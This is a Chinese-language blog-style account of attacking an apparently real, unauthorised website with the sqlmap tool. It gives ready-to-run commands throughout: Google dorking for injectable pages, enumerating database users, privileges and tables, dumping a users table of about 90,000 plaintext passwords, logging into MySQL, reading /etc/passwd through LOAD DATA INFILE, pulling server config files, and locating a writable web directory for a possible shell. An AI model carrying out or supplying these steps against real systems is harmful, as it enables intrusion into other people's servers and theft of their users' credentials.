sqlmap 是个 sql 注入扫描工具,python 语言写的,刚好自己对这个比较感兴趣,下载下来看。
cmd> python sqlmap.py -h 查看帮助信息
其他 -g 选项可以通过 google 查询来找到有 sql 注入的网站,不过 python 中使用www.google.com ,
对中国的用户会出错,找到源代码, 位于 lib/utils/google.py , 替换成 www.google.com.hk 就可以了。
example: python sqlmap.py -g "allinurl: php?id="
对一个网站,找到一个注入: http://www.xxxx.net/userdetail.mpl?userid=133677
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677"
找到数据库 mysql ,apache 服务。
查看当前 mysql 用户
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-user
查看数据库
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --current-db
查看用户权限,运气好,root 为管理员,接下来就简单了。
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --privileges
查看表名
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --tables
找到用户表,users ,下载
python sqlmap.py -u "http://www.xxxx.net/userdetail.mpl?userid=133677" --dbms=mysql --dump -T "users
"
下载后,可以看到所有用户,有 9 万条数据密码居然不加密,找到 admin 和密码。
登陆网页界面,没有管理界面,上传不了 webshell
扫描该网站开放端口: 80 ,22,3306
尝试用该密码登陆 ssh ,不行。
直接 mysql 登陆,成功 。
接下来就是 mysql 提权了,不过 mysql 不是 root 用户运行,权限不够,mysql 5.1 版本,UDF 用不了 。
只能利用 mysql 的 load data in file 尝试获取系统信息:
登陆 mysql 后:
use dnnamexxx;
create table test (t varchar(3000));
load data infile '/etc/passwd' into table test ;
select * from test ;
成功出来用户信息 ,用同样的方法获取 shadow ,失败,权限不够。
用 sqlmap 直接下载系统文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/my.cnf
下载 mysql 配置文件
sqlmap -d "mysql://root@xx.xx.xx.xx:3306/dbname" --file-read=/etc/httpd/conf/httpd.conf
功夫不负有心人 ,终于在这些文件找到了网站的一些目录:
/opt/images/
成功的在网页上访问到
可以写文件进去,不过该网站用 perl ,不熟悉,暂时先到这里。
总结: 可以看到,一个小小的漏洞,可以突破一个网站,甚至拿到 root 。